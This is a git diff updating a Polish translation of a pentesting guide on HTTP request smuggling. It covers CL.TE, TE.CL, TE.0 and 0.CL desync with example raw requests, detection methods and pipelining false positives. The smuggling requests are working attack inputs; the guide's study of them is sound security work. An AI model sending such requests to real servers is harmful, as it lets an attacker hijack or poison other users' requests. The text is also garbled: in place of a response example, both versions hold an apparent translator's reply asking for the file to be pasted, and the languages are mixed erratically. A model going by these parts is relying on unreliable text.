Translated ['src/pentesting-web/http-request-smuggling/README.md'] to pl

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:35:40 +00:00 · 2025-09-05 11:35:40 +00:00 · f20af6613b
commit f20af6613b
parent 42101b1a50
1 changed files with 172 additions and 173 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -5,67 +5,67 @@

 ## Co to jest

-Ta podatność występuje, gdy **desynchronizacja** między **front-end proxies** a serwerem **back-end** pozwala **atakującemu** wysłać żądanie HTTP, które będzie **interpretowane** jako **pojedyncze żądanie** przez **front-end** (load balancer / reverse-proxy) i **jako 2 żądania** przez serwer **back-end**.\
-Pozwala to użytkownikowi **zmodyfikować następne żądanie**, które dotrze do serwera back-end po jego własnym żądaniu.
+Ta podatność występuje, gdy występuje **desynchronizacja** pomiędzy **front-end proxy** a **back-end** serwerem, co pozwala **atakującemu** **wysłać** żądanie HTTP, które zostanie **zinterpretowane** jako **jedno żądanie** przez **front-end** (load balancer/reverse-proxy) i **jako 2 żądania** przez **back-end**.\
+To pozwala użytkownikowi **zmodyfikować następne żądanie, które dotrze do back-endu po jego żądaniu**.

 ### Teoria

 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)

-> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
+> Jeśli wiadomość zostanie otrzymana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to ostatnie MUSI zostać zignorowane.

 **Content-Length**

-> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
+> Nagłówek jednostki Content-Length wskazuje rozmiar entity-body, w bajtach, wysłany do odbiorcy.

 **Transfer-Encoding: chunked**

-> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
-> Chunked means that large data is sent in a series of chunks
+> Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.\
+> Chunked oznacza, że duże dane są wysyłane w serii kawałków (chunks).

 ### Rzeczywistość

-Front-End (load-balancer / Reverse Proxy) przetwarza nagłówek _**Content-Length**_ lub _**Transfer-Encoding**_, a serwer Back-end przetwarza **drugi** z nich, powodując **desynchronizację** między tymi dwoma systemami.\
-To może być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do reverse proxy, które zostanie **zinterpretowane** przez serwer **back-end** **jako 2 różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że serwer **back-end** zinterpretuje **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a rzeczywiste żądanie tego klienta stanie się **częścią** żądania wstrzykniętego.
+**Front-end** (load-balancer / reverse proxy) **przetwarza** nagłówek _**Content-Length**_ lub _**Transfer-Encoding**_, a **back-end** serwer **przetwarza ten drugi**, powodując **desynchronizację** między tymi dwoma systemami.\
+Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do reverse proxy, które zostanie **zinterpretowane** przez **back-end** jako **dwa różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że **back-end** zinterpretuje **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a prawdziwe żądanie tego klienta stanie się **częścią wstrzykniętego żądania**.

 ### Szczególności

 Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**

- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej**, aby wskazać **liczbę bajtów** ciała żądania. Oczekuje się, że body zakończy się ostatnim znakiem — **nie jest wymagany nowy wiersz na końcu żądania**.
- **Transfer-Encoding:** Ten nagłówek używa w **body** **liczby heksadecymalnej**, aby wskazać **liczbę bajtów** następnego chunku. **Chunk** musi **kończyć się** nową linią, ale ta nowa linia **nie jest wliczana** do wartości długości. Ta metoda transferu musi zakończyć się **chunkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
- **Connection**: Na podstawie mojego doświadczenia zalecane jest używanie **`Connection: keep-alive`** w pierwszym żądaniu przy próbie Request Smuggling.
+- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby bajtów** w **ciele** żądania. Oczekuje się, że ciało kończy się na ostatnim znaku — **znak nowej linii nie jest wymagany na końcu żądania**.
+- **Transfer-Encoding:** Ten nagłówek używa w **ciele** **liczby szesnastkowej** do wskazania **liczby bajtów** następnego chunku. Chunk musi **kończyć się nową linią**, ale ta nowa linia **nie jest wliczana** do wskaźnika długości. Ten sposób transferu musi zakończyć się **chunkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
+- **Connection**: Z mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu podczas Request Smuggling.

-### Widoczne - Ukryte
+### Visible - Hidden

-Główny problem z HTTP/1.1 polega na tym, że wszystkie żądania idą po tym samym gniazdku TCP, więc jeśli wystąpi rozbieżność między 2 systemami odbierającymi żądania, możliwe jest wysłanie jednego żądania, które zostanie potraktowane jako 2 różne żądania (lub więcej) przez końcowy backend (lub nawet systemy pośredniczące).
+Główny problem z HTTP/1.1 polega na tym, że wszystkie żądania płyną przez ten sam socket TCP, więc jeśli znajdzie się rozbieżność między dwoma systemami odbierającymi żądania, możliwe jest wysłanie jednego żądania, które zostanie potraktowane jako dwa (lub więcej) różne żądania przez końcowy backend (lub nawet systemy pośredniczące).

-[This blog post](https://portswigger.net/research/http1-must-die) proponuje nowe sposoby wykrywania desync attacków, które nie będą wykrywane przez WAFy. Przedstawia on koncepcję Visible vs Hidden behaviours. Celem w tym przypadku jest znalezienie rozbieżności w odpowiedziach przy użyciu technik, które mogą powodować desynchronizacje, bez faktycznego ich eksploatowania.
+**[This blog post](https://portswigger.net/research/http1-must-die)** proponuje nowe sposoby wykrywania ataków desync na system, które nie będą wykrywane przez WAFy. Przedstawia ono zachowania Visible vs Hidden. Celem w tym przypadku jest próba znalezienia rozbieżności w odpowiedzi przy użyciu technik, które mogą powodować desyncy bez faktycznego eksploatowania czegokolwiek.

-Na przykład, wysyłając żądanie z normalnym nagłówkiem host i nagłówkiem " host", jeśli backend narzeka na to żądanie (może dlatego, że wartość " host" jest niepoprawna), może to oznaczać, że front-end nie zauważył nagłówka " host", podczas gdy końcowy backend go użył — co z dużym prawdopodobieństwem oznacza desynchronizację między front-end a back-end.
+Na przykład wysłanie żądania z normalnym nagłówkiem Host oraz z nagłówkiem " host" — jeśli backend narzeka na to żądanie (może dlatego, że wartość " host" jest niepoprawna), to może to oznaczać, że front-end nie widział nagłówka " host", podczas gdy finalny backend go użył, co wysoce prawdopodobnie wskazuje na desync między front-endem a backendem.

-To byłaby rozbieżność **Ukryte-Widoczne**.
+To byłaby **Hidden-Visible discrepancy**.

-Jeśli front-end uwzględni nagłówek " host", a back-end nie, mogłaby to być sytuacja **Widoczne-Ukryte**.
+Jeśli front-end wziąłby pod uwagę nagłówek " host", ale backend nie, to mogłaby to być sytuacja **Visible-Hidden**.

-Na przykład, pozwoliło to odkryć desynchronizacje między AWS ALB jako front-end a IIS jako backendem. Działo się tak dlatego, że gdy wysłano "Host: foo/bar", ALB zwrócił `400, Server; awselb/2.0`, ale gdy wysłano "Host : foo/bar", zwrócił `400, Server: Microsoft-HTTPAPI/2.0`, wskazując, że backend wysłał odpowiedź. To była sytuacja Ukryte-Widoczne (H-V).
+Na przykład pozwoliło to odkryć desyncy pomiędzy AWS ALB jako front-endem a IIS jako backendem. Dzieje się tak, ponieważ gdy wysłano "Host: foo/bar", ALB zwrócił `400, Server; awselb/2.0`, ale gdy wysłano "Host : foo/bar", zwrócił `400, Server: Microsoft-HTTPAPI/2.0`, wskazując, że odpowiedź pochodzi od backendu. To jest Hidden-Visible (H-V).

-Zauważ, że to zachowanie nie jest poprawione w AWS, ale można je złagodzić ustawiając `routing.http.drop_invalid_header_fields.enabled` oraz `routing.http.desync_mitigation_mode = strictest`.
+Zauważ, że ta sytuacja nie jest poprawiona w AWS, ale można jej zapobiec ustawiając `routing.http.drop_invalid_header_fields.enabled` oraz `routing.http.desync_mitigation_mode = strictest`.


 ## Podstawowe przykłady

 > [!TIP]
-> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
+> Podczas próby wykorzystania tego z Burp Suite **wyłącz `Update Content-Length` i `Normalize HTTP/1 line endings`** w repeaterze, ponieważ niektóre gadżety wykorzystują nowe linie, carriage returny i niepoprawne content-lengthy.

-Ataki HTTP request smuggling są tworzone przez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w sposobie, w jaki front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą występować w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie sposobu, w jaki front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.
+Ataki HTTP request smuggling są tworzone przez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez front-end i back-end. Ataki te mogą przyjmować różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie priorytetyzacji tych nagłówków przez front-end i back-end. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.

 ### Podstawowe przykłady typów podatności

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
+> Do powyższej tabeli należy dodać technikę TE.0, podobną do techniki CL.0, ale używając Transfer-Encoding.

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

@ -73,9 +73,9 @@ Ataki HTTP request smuggling są tworzone przez wysyłanie dwuznacznych żądań
 - **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
 - **Scenariusz ataku:**

- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
- Front-end przekazuje całe żądanie do back-endu na podstawie wartości `Content-Length`.
- Back-end przetwarza żądanie jako chunked z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako odrębne, kolejne żądanie.
+- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości zawartości.
+- Front-end przesyła całe żądanie do back-endu zgodnie z wartością `Content-Length`.
+- Back-end przetwarza żądanie jako chunked z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako osobne, kolejne żądanie.
 - **Przykład:**

 ```
@ -97,8 +97,8 @@ Foo: x
 - **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
 - **Scenariusz ataku:**

- Atakujący wysyła żądanie chunked, gdzie rozmiar chunka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
- Front-end, honorując `Transfer-Encoding`, przekazuje całe żądanie do back-endu.
+- Atakujący wysyła chunked request, w którym rozmiar chunka (`7b`) i rzeczywista długość zawartości (`Content-Length: 4`) nie zgadzają się.
+- Front-end, respektując `Transfer-Encoding`, przekazuje całe żądanie do back-endu.
 - Back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania ( `7b` bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie.
 - **Przykład:**

@ -122,12 +122,12 @@ x=

 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może zostać oszukany, aby go zignorować poprzez obfuskację.
+- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może zostać oszukany, aby go zignorować przez obfuskację.
 - **Scenariusz ataku:**

 - Atakujący wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`.
 - W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL.
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smuggowania.
+- Nieprzetworzona część żądania, widoczna tylko dla jednego z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.
 - **Przykład:**

 ```
@ -150,7 +150,7 @@ Transfer-Encoding
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

 - Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
- Ten scenariusz zazwyczaj nie prowadzi do smuggowania, ponieważ istnieje zgodność w sposobie interpretacji długości żądania przez obie strony.
+- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ oba serwery zgadzają się co do interpretacji długości żądania.
 - **Przykład:**

 ```
@ -164,8 +164,8 @@ Normal Request

 #### **CL.0 Scenario**

- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, co wskazuje, że body żądania zawiera treść. Back-end ignoruje nagłówek `Content-Length` (traktowany jako 0), ale front-end go parsuje.
- Jest to istotne przy zrozumieniu i tworzeniu ataków smuggling, ponieważ wpływa na to, jak serwery określają koniec żądania.
+- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, wskazując, że żądanie ma ciało. Back-end ignoruje nagłówek `Content-Length` (traktowany jako 0), ale front-end go parsuje.
+- Jest to istotne w zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania.
 - **Przykład:**

 ```
@ -179,7 +179,7 @@ Non-Empty Body

 #### TE.0 Scenario

- Jak poprzedni, ale używając TE.
+- Podobne do poprzedniego, ale używające TE.
 - Technika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Przykład**:
 ```
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
 ```
 #### `0.CL` Scenariusz

-W sytuacji `0.CL` żądanie jest wysyłane z nagłówkiem Content-Length takim jak:
+W sytuacji `0.CL` request zostaje wysłany z nagłówkiem Content-Length takim jak:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -211,31 +211,31 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-Front-end nie uwzględnia `Content-Length`, więc wysyła do backendu tylko pierwsze żądanie (aż do 7 w przykładzie). Natomiast backend widzi `Content-Length` i czeka na body, które nigdy nie nadchodzi, ponieważ front-end już czeka na odpowiedź.
+Front-end nie uwzględnia nagłówka `Content-Length`, więc wysyła do backend tylko pierwszy request (aż do 7 w przykładzie). Jednak backend widzi `Content-Length` i czeka na body, które nigdy nie nadchodzi, ponieważ front-end już czeka na response.

-Jeśli jednak istnieje żądanie, które można wysłać do backendu i które zostanie obsłużone przed otrzymaniem body tego żądania, to zakleszczenie nie wystąpi. W IIS na przykład dzieje się tak przy wysyłaniu żądań do zabronionych nazw jak `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), w ten sposób początkowe żądanie zostanie obsłużone bezpośrednio, a drugie żądanie będzie zawierać żądanie ofiary takie jak:
+Jeśli jednak istnieje request, który można wysłać do backendu i który zostanie responded zanim otrzyma body, taki deadlock nie wystąpi. W IIS, na przykład, dzieje się tak przy wysyłaniu requestów do zastrzeżonych nazw jak `/con` (sprawdź [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)); w ten sposób initial request zostanie responded bezpośrednio, a drugi request będzie zawierał request of the victim w następujący sposób:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-To jest przydatne do spowodowania desync, ale do tej pory nie miało żadnego wpływu.
+To jest przydatne do wywołania desync, ale do tej pory nie miało to żadnego wpływu.

-Jednak post proponuje rozwiązanie, konwertując **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+Jednak artykuł proponuje rozwiązanie tego, przekształcając **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.

-#### Uszkodzenie serwera WWW
+#### Breaking the web server

-Technika ta jest też przydatna w scenariuszach, gdzie możliwe jest **break a web server while reading the initial HTTP data** ale **without closing the connection**. W ten sposób **body** of the HTTP request będzie traktowane jako **next HTTP request**.
+Ta technika jest również przydatna w scenariuszach, gdzie możliwe jest spowodowanie awarii serwera WWW podczas odczytywania początkowych danych HTTP, ale bez zamykania połączenia. W ten sposób **body** żądania HTTP zostanie uznane za **kolejne żądanie HTTP**.

-Na przykład, jak wyjaśniono w [**this writeup**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłać kilka znaków **Unicode**, które powodowały **break** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, body żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **body** of the request będzie traktowane jako **next HTTP request**.
+Na przykład, jak wyjaśniono w [**this writeup**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie pewnych **Unicode** znaków, które powodowały awarię serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, body żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **body** żądania zostanie potraktowane jako **kolejne żądanie HTTP**.

-#### Wymuszanie przez hop-by-hop headers
+#### Forcing via hop-by-hop headers

-Nadużywając hop-by-hop headers można skłonić proxy do **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
+Wykorzystując nagłówki hop-by-hop można nakłonić proxy do usunięcia nagłówka Content-Length lub Transfer-Encoding, dzięki czemu możliwe jest wykorzystanie HTTP request smuggling.
 ```
 Connection: Content-Length
 ```
-Aby uzyskać **więcej informacji o hop-by-hop headers**, odwiedź:
+For **more information about hop-by-hop headers** visit:


 {{#ref}}
@ -244,13 +244,13 @@ Aby uzyskać **więcej informacji o hop-by-hop headers**, odwiedź:

 ## Wykrywanie HTTP Request Smuggling

-Identyfikacja podatności na HTTP request smuggling często może być przeprowadzona za pomocą technik opartych na czasie, które polegają na obserwowaniu, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do odnalezienia takich podatności:
+Identyfikacja podatności HTTP request smuggling często może być osiągnięta za pomocą technik timingowych, które polegają na obserwacji, jak długo serwer odpowiada na zmanipulowane żądania. Techniki te są szczególnie użyteczne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:

-### Wykrywanie podatności CL.TE przy użyciu technik opartych na czasie
+### Wykrywanie podatności CL.TE za pomocą technik timingowych

 - **Metoda:**

- Wyślij żądanie, które — jeśli aplikacja jest podatna — spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
+- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że back-end będzie czekać na dodatkowe dane.
 - **Przykład:**

 ```
@ -266,18 +266,18 @@ A
 ```

 - **Obserwacja:**
- Serwer front-end przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie.
- Serwer back-end, oczekując wiadomości chunked, czeka na następny chunk, który nigdy nie nadchodzi, co powoduje opóźnienie.
+- Front-end przetwarza żądanie na podstawie `Content-Length` i obcina wiadomość przedwcześnie.
+- Back-end, oczekując wiadomości chunked, czeka na kolejny chunk, który nigdy nie nadchodzi, powodując opóźnienie.

 - **Wskaźniki:**
 - Timeouty lub długie opóźnienia w odpowiedzi.
- Otrzymywanie błędu 400 Bad Request od serwera back-end, czasem z dodatkowymi szczegółami o serwerze.
+- Otrzymanie 400 Bad Request z back-endu, czasami z dodatkowymi informacjami o serwerze.

-### Wykrywanie podatności TE.CL przy użyciu technik opartych na czasie
+### Wykrywanie podatności TE.CL za pomocą technik timingowych

 - **Metoda:**

- Wyślij żądanie, które — jeśli aplikacja jest podatna — spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
+- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że back-end będzie czekać na dodatkowe dane.
 - **Przykład:**

 ```
@ -292,23 +292,23 @@ X
 ```

 - **Obserwacja:**
- Serwer front-end przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całe żądanie dalej.
- Serwer back-end, oczekując wiadomości na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.
+- Front-end przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całą wiadomość dalej.
+- Back-end, oczekując wiadomości na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.

-### Inne metody wykrywania podatności
+### Inne metody znajdowania podatności

 - **Analiza różnic w odpowiedziach:**
- Wyślij nieznacznie zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazywałoby na rozbieżności w parsowaniu.
+- Wyślij nieznacznie zmodyfikowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazuje na rozbieżność w parsowaniu.
 - **Użycie narzędzi automatycznych:**
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' do Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
- **Testy wariancji `Content-Length`:**
- Wyślij żądania z różnymi wartościami `Content-Length`, które nie odpowiadają rzeczywistej długości treści, i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
- **Testy wariancji `Transfer-Encoding`:**
- Wyślij żądania z zniekształconymi lub niepoprawnie sformatowanymi nagłówkami `Transfer-Encoding` i obserwuj, jak różnie serwer front-end i back-end reagują na takie manipulacje.
+- Narzędzia takie jak rozszerzenie Burp Suite 'HTTP Request Smuggler' mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
+- **Testy wariancji Content-Length:**
+- Wyślij żądania z różnymi wartościami `Content-Length`, które nie zgadzają się z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
+- **Testy wariancji Transfer-Encoding:**
+- Wyślij żądania z obfuskowanymi lub uszkodzonymi nagłówkami `Transfer-Encoding` i monitoruj, jak front-end i back-end różnie reagują na takie manipulacje.

-### Nagłówek `Expect: 100-continue`
+### The `Expect: 100-continue` header

-Sprawdź, jak ten nagłówek może pomóc w wykorzystaniu http desync w:
+Sprawdź, jak ten nagłówek może pomóc w eksploatacji desync'a http w:

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +316,25 @@ Sprawdź, jak ten nagłówek może pomóc w wykorzystaniu http desync w:

 ### Testowanie podatności HTTP Request Smuggling

-Po potwierdzeniu skuteczności technik opartych na czasie ważne jest sprawdzenie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia żądań — na przykład spowodowanie, aby żądanie do `/` zwróciło 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Basic Examples](#basic-examples) pokazują, jak zatrucie żądania klienta może wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.
+Po potwierdzeniu skuteczności technik timingowych, kluczowe jest zweryfikowanie, czy żądania klienta można zmanipulować. Prosta metoda to próba „poisonowania” swoich żądań, np. sprawienie, aby żądanie do `/` zwracało 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Basic Examples](#basic-examples) pokazują, jak zatruć żądanie klienta, by wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.

 **Kluczowe kwestie**

-Podczas testowania podatności na request smuggling przez ingerencję w inne żądania, pamiętaj:
+Testując request smuggling przez interferencję z innymi żądaniami, miej na uwadze:

- **Osobne połączenia sieciowe:** Żądania "attack" i "normal" powinny być wysłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
- **Spójny URL i parametry:** Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów back-end na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania trafią do tego samego serwera, co jest warunkiem koniecznym powodzenia ataku.
- **Warunki wyścigu i timing:** Żądanie "normal", mające na celu wykrycie ingerencji ze strony żądania "attack", konkuruje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij żądanie "normal" bezpośrednio po żądaniu "attack". W przypadku obciążonych aplikacji może być konieczne wykonanie wielu prób, aby jednoznacznie potwierdzić podatność.
- **Wyzwania związane z load balancingiem:** Serwery front-end działające jako load balancery mogą rozdzielać żądania pomiędzy różne systemy back-end. Jeśli żądania "attack" i "normal" trafią na różne systemy, atak nie powiedzie się. Ten aspekt load balancingu może wymagać kilku prób, aby potwierdzić podatność.
- **Niezamierzony wpływ na użytkowników:** Jeśli twój atak niezamierzenie wpłynie na żądanie innego użytkownika (nie na wysłane przez ciebie żądanie "normal"), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, co wymaga ostrożnego podejścia.
+- **Oddzielne połączenia sieciowe:** "atak" i "normalne" żądania powinny być wysłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza istnienia podatności.
+- **Spójny URL i parametry:** Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych back-endów na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania trafią do tego samego serwera, co jest warunkiem udanego ataku.
+- **Timing i warunki wyścigu:** "Normalne" żądanie, przeznaczone do wykrycia interferencji z "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym". Zajęte aplikacje mogą wymagać kilku prób, by jednoznacznie potwierdzić podatność.
+- **Wyzwania związane z load balancingiem:** Front-end działający jako load balancer może rozdzielać żądania na różne back-endy. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt load balancingu może wymagać kilku prób, by potwierdzić podatność.
+- **Niepożądany wpływ na innych użytkowników:** Jeśli twój atak przypadkowo wpłynie na żądanie innego użytkownika (nie tego "normalnego", które wysłałeś do wykrywania), oznacza to, że atak oddziaływał na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, co wymaga ostrożnego podejścia.

-## Rozróżnianie artefaktów HTTP/1.1 pipelining od prawdziwego request smuggling
+## Rozróżnianie artefaktów HTTP/1.1 pipelining od rzeczywistego request smuggling

-Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo powodować iluzje "smuggling" w narzędziach testujących, które wysyłają wiele żądań na tym samym gniazdku. Naucz się oddzielać nieszkodliwe artefakty po stronie klienta od prawdziwej desynchronizacji po stronie serwera.
+Reuse połączeń (keep-alive) i pipelining mogą łatwo wygenerować złudzenia "smugglingu" w narzędziach testujących, które wysyłają wiele żądań na tym samym gnieździe. Naucz się oddzielać nieszkodliwe artefakty po stronie klienta od prawdziwego desynca po stronie serwera.

-### Dlaczego pipelining powoduje klasyczne fałszywe pozytywy
+### Dlaczego pipelining tworzy klasyczne false-positives

-HTTP/1.1 ponownie używa jednego połączenia TCP/TLS i konkatenizuje żądania i odpowiedzi w tym samym strumieniu. W pipeliningu klient wysyła wiele żądań jedno po drugim i polega na odpowiedziach w tej samej kolejności. Powszechny fałszywy pozytyw to ponowne wysłanie zniekształconego ładunku w stylu CL.0 dwukrotnie na jednym połączeniu:
+HTTP/1.1 ponownie używa pojedynczego połączenia TCP/TLS i konkatenacji żądań i odpowiedzi na tym samym strumieniu. Przy pipeliningu klient wysyła wiele żądań jedno po drugim i oczekuje odpowiedzi w tej samej kolejności. Typowy false-positive to ponowne wysłanie sfałszowanego payloadu w stylu CL.0 dwukrotnie na jednym połączeniu:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -343,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Proszę wklej zawartość pliku README.md (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę widoczny tekst na polski, zachowując dokładnie wszystkie tagi, linki, ścieżki, kod i nazwy technik zgodnie z wytycznymi.
+Nie otrzymałem treści pliku do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md (markdown). Przetłumaczę ją na polski zgodnie z Twoimi wytycznymi — zachowam wszystkie tagi, linki, ścieżki i nie będę tłumaczyć kodu, nazw technik, terminów takich jak leak, pentesting ani nazw platform.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -357,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Jeśli serwer zignorował sfałszowany `Content_Length`, nie ma FE↔BE desync. Przy reuse klient faktycznie wysłał ten byte-stream, który serwer zinterpretował jako dwa niezależne żądania:
+Jeśli serwer zignorował nieprawidłowy `Content_Length`, nie występuje desynchronizacja FE↔BE. Przy ponownym użyciu klient faktycznie wysłał ten strumień bajtów, który serwer sparsował jako dwa niezależne żądania:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -371,77 +371,76 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
